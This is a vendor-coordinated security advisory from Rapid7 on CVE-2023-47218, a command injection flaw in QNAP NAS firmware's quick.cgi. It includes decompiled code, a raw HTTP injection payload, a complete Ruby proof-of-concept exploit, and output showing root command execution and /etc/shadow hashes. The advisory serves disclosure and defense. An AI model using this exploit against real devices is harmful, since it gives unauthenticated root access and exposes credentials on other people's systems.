Last updated at Tue, 13 Feb 2024 16:00:00 GMT
Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi
component, exposed by the device’s web based administration feature. The quick.cgi
component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi
component is disabled on the system.
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.
Credit
This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Vendor Statement
CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: https://www.qnap.com/en/security-advisory/qsa-23-57
Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.
Remediation
QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:
- QTS 5.1.x - Fixed in
QTS 5.1.5.2645 build 20240116
and later - QuTS hero h5.1.x - Fixed in
QuTS hero h5.1.5.2647 build 20240118
and later
For more details please read the QNAP security advisory.
QNAP have provided the following remediation guidelines:
To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.
Analysis
During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
Archive: TS-X64_20230926-5.1.2.2533.zip
inflating: TS-X64_20230926-5.1.2.2533.img
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
When decompiling the /home/httpd/cgi-bin/quick/quick.cgi
binary, we can see a function switch_os
can be called if an HTTP parameter named func
has a value switch_os
.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 Input; // rax
__int64 input; // rbp
_BOOL4 v5; // ebx
__int64 func_param; // rax
__int64 func_param_; // r12
bool v8; // zf
unsigned int v9; // ebp
__int64 todo_param; // rbx
sub_415C82(1LL, a2, a3);
dword_630794 = sub_415F8B();
dword_630790 = sub_415F41();
dword_63079C = sub_415F1E();
Input = CGI_Get_Input();
input = Input;
if ( Input )
{
func_param = CGI_Find_Parameter(Input, (char *)"func");
func_param_ = func_param;
if ( func_param )
{
v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
v5 = !v8;
if ( v8 )
{
v9 = rand();
puts("301 Moved Permanently");
printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
return v5;
}
if ( !CGI_Find_Parameter(input, "todo") )
goto LABEL_6;
todo_param = CGI_Find_Parameter(input, "todo");
if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
{
if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---
The switch_os
function will call a function uploaf_firmware_image
if an HTTP parameter named todo
has a value of uploaf_firmware_image
.
__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
__int64 os_name_param; // rax
__int64 v3; // rbx
FILE *v4; // rax
FILE *v5; // rbp
const char *v6; // rax
char *v7; // rbp
__int64 v8; // rdx
__int64 result; // rax
__int64 v10; // rdx
char os_name[32]; // [rsp+0h] [rbp-38h] BYREF
memset(os_name, 0, sizeof(os_name));
os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
if ( os_name_param )
strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
if ( !strcmp(todo_param, "uploaf_firmware_image") )
{
v3 = uploaf_firmware_image(); // <---
In the function uploaf_firmware_image
, we can see a helper function CGI_Upload
is used to read a value from the CGI request into a local variable called file_name
below.
__int64 uploaf_firmware_image()
{
//...snip...
if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
4LL,
"error_message",
"upload full_path_filename fail.");
sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
if ( chmod(file, 436u) < 0 )
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
5LL,
"error_message",
"upload full_path_filename fail.");
if ( !fork() )
{
v2 = open("/dev/null", 2);
if ( v2 != -1 )
{
close(0);
dup2(v2, 0);
close(1);
dup2(v2, 1);
close(2);
dup2(v2, 2);
close(v2);
}
sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
system(buf266);
sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
if ( system(buf266) ) // <--- command injection.
{
Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
}
We can see above that the value extracted by CGI_Upload
will be used to construct an OS command, which is then passed to a call to system
to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.
To understand how an attacker can achieve this, we must examine CGI_Upload
from the \usr\lib\libuLinux_fcgi.so.0.0
binary. CGI_Upload
will call cgi_save_file_ex
to extract several fields from a POST request's multipart form data.
__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
CGI_Get_Http_Info(&dest);
// ...snip...
strtok(v36, ";");
strtok(0LL, ";");
v18 = strtok(0LL, "\n");
if ( v18 )
snprintf(v36, 0x1000uLL, "%s", v18);
strtok(v36, "\"");
v19 = strtok(0LL, "\"");
if ( v19 )
strncpy(a2, v19, n);
if ( dest.useragent_type == 3 ) // <---
trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---
The call to CGI_Get_Http_Info
at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str
will occur. The function trans_http_str
will URL decode any value we pass it, e.g. %22
will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image
and achieve command injection.
To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info
, as shown below.
char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
// ...snip…
v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
v11 = v10;
if ( !v10 )
{
LABEL_29:
dest->useragent_type = 0;
goto LABEL_16;
}
if ( strstr(v10, "Safari") )
{
dest->useragent_type = 7;
goto LABEL_16;
}
if ( !strstr(v11, "MSIE") )
{
if ( strstr(v11, "Mozilla") )
{
if ( strstr(v11, "Macintosh") )
dest->useragent_type = 3; // <---
else
dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
goto LABEL_16;
}
goto LABEL_29;
}
We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.
We can therefore exploit this vulnerability with an HTTP POST request that looks like this:
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"
--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain
skfqduny
--avssqwfz–
Note the use of the URL encoded double quote %22
to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.
Proof-of-Concept Exploit
The following is a Ruby proof-of-concept exploit called qnap_hax.rb
that can be used to successfully exploit a vulnerable target.
require 'optparse'
require 'base64'
require 'socket'
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(ip, port, data)
s = TCPSocket.open(ip, port)
s.write(data)
result = ''
while line = s.gets
result << line
end
s.close
return result
end
def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')
payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"
if read_output
payload << ">#{output_file_name}"
end
payload << ")\""
payload.gsub!("\"", '%22')
payload.gsub!(";", '%3B')
if payload.length > 127
log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
return false
end
boundary = rand_string(8)
txt = "--#{boundary}\r\n"
txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
txt << "Content-Type: text/plain\r\n"
txt << "\r\n"
txt << "#{rand_string(8)}\r\n"
txt << "--#{boundary}--\r\n"
body = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: Mozilla Macintosh\r\n"
body << "Accept: */*\r\n"
body << "Content-Length: #{txt.bytesize}\r\n"
body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
body << "\r\n"
body << txt
result = send_http_data(ip, port, body)
if result&.match? /HTTP\/1\.\d 200 OK/
log "[+] Success, executed command: #{cmd}"
else
log "[-] Failed to execute command: #{cmd}"
log result
return false
end
if read_output
result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
if result&.match? /HTTP\/1\.\d 200 OK/
found_content = false
result.lines.each do |line|
if line == "\r\n"
found_content = true
next
end
log line if found_content
end
else
log "[-] Failed to read back output."
log result
return false
end
end
return true
end
def hax(options)
log "[+] Targeting: #{options[:ip]}:#{options[:port]}"
output_file_name = 'a'
return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: hax1.rb [options]"
opts.on("-t", "--target TARGET", "Target IP") do |v|
options[:ip] = v
end
opts.on("-p", "--port PORT", "Target Port") do |v|
options[:port] = v.to_i
end
opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
options[:cmd] = v
end
end.parse!
unless options.key? :ip
log '[-] Error, you must pass a target IP: -t TARGET'
return
end
unless options.key? :port
log '[-] Error, you must pass a target port: -p PORT'
return
end
unless options.key? :cmd
log '[-] Error, you must pass a command to execute: -c COMMAND'
return
end
log "[+] Starting..."
hax(options)
log "[+] Finished."
Exploitation
To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi
is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.
Emulate the Firmware
We performed the following steps to run the builtin web server _httpd_
via QEMU, and enable the vulnerable quick.cgi
component.
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT
Run the PoC
Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb
against the remote target, and successfully executed arbitrary OS commands.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
Rapid7 Customers
An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.
Timeline
- November 9, 2023: Rapid7 makes initial contact with QNAP Product Security Incident Response Team (PSIRT).
- November 13, 2023: Rapid7 provides QNAP with a detailed technical advisory.
- November 27, 2023: Rapid7 provides QNAP with a standalone proof of concept exploit.
- December 5, 2023: QNAP confirms report findings and assigns CVE-2023-47218 to the vulnerability. Rapid7 suggests January 8, 2024 as a coordinated disclosure date.
- December 7, 2023: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024 for disclosure.
- December 7, 2023: Rapid7 agrees to February 7, 2024 as a coordinated disclosure date and requests that QNAP review our disclosure policy. Rapid7 also reinforces that coordinated disclosure means patches, advisories, and other vulnerability details are released at the same time, without silently patching security issues.
- December 13, 2023: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024 for disclosure, acknowledges Rapid7’s disclosure policy.
- December 18, 2023: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
- January 8, 2024 - January 10, 2024: Rapid7 requests an update and additional information.
- January 25, 2024 - January 26, 2024: Vendor contacts Rapid7 and informs us they have released patches for this vulnerability. Vendor requests that Rapid7 wait until February 26, 2024 to publish our disclosure. Rapid7 requests further information on why disclosure was not coordinated despite previous communications. QNAP and Rapid7 discuss and agree to publish advisories jointly on February 13, 2024.
- February 13, 2024: This disclosure.